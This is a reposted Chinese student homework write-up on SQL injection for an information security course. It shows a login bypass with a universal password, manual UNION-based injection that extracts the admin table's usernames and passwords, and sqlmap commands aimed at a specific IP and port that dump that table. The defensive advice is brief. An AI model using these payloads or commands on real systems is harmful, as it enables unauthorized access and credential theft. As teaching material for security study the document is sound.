sql注入基礎知識


信息安全概論課堂作業

SQL注入之萬能密碼漏洞

第一道題是牽扯到了萬能密碼漏洞

用戶名先輸入個’

 

 

 

 

返回了sql報錯語句,猜測存在sql注入漏洞

 

使用萬能密碼測試

 

 

登陸成功

 

 

原理

假設登錄框處的判斷代碼如下:

1
SELECT * FROM admin where name='".$_POST['name']."'and password='".$_POST['password']"';

在賬號框中輸入admin'or 1=1 #,密碼隨便輸,sql語句就變成了:

1
SELECT * FROM admin where name='admin' or 1=1 #'and password='任意字符';

符號’將語句閉合

#號將admin' or 1=1后面的語句注釋

剩下有效的sql代碼變成了

1
SELECT * FROM admin where name='admin' or 1=1;

這段代碼意思就是 ‘admin’ or 1=1 (真 or 真)是一個恆為真的判斷

服務器收到了返回真的驗證,就繞過了登錄

防止方法

1.字符轉義

2.字符替換

3.百度如何預防SQL注入

SQL注入之字符型注入

利用手動注入

打開網站看到網址有個id參數

 

 

判斷注入類型

輸入id=1 and 1=1# 頁面正常

輸入id=1 and 1=2# 頁面出現異常

猜測為數字注入

判斷字段數

輸入id=1 order by 2# 頁面正常

輸入id=1 order by 3# 頁出出現異常

得知有兩個字段

判斷字段回顯位置

輸入

1
id=1 and 1=2 union select 1,2#

 

查看字段位置

 

查看數據庫名

 

 

輸入

1
id=6666 union select 1,database()#

 

出現數據庫名字:maoshe

 

 

查看表名

輸入

1
id=id=6666 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

出現了很多表名

 

 

查看字段名

我們需要的是admin表

輸入

1
id=6666 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#

看到了字段名id、username、password

 

 

查看字段里的數據

輸入

1
id=6666 union select 1,group_concat(id,":",username,":",password) from admin#

看到了管理員用戶名和密碼

 

 

利用sqlmap工具注入

檢查注入點:

1
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs

 

 

 

 

爆數據庫的信息:

1
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs

 

 

爆當前數據庫信息:

1
2
3
4
5
6
7
8
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --current-db
```
![你想輸入的替代文字](信息安全概論課堂作業/4.png)

### 指定庫名列出所有表

```php
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe --table

 

 

指定庫名表名列出所有字段

1
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe -T admin --column

 

 

指定庫名表名字段dump出指定字段

python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe -T admin -C username password --dump 

內容來自於

http://reb0rn.design/2019/10/13/信息安全概論課堂作業/

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM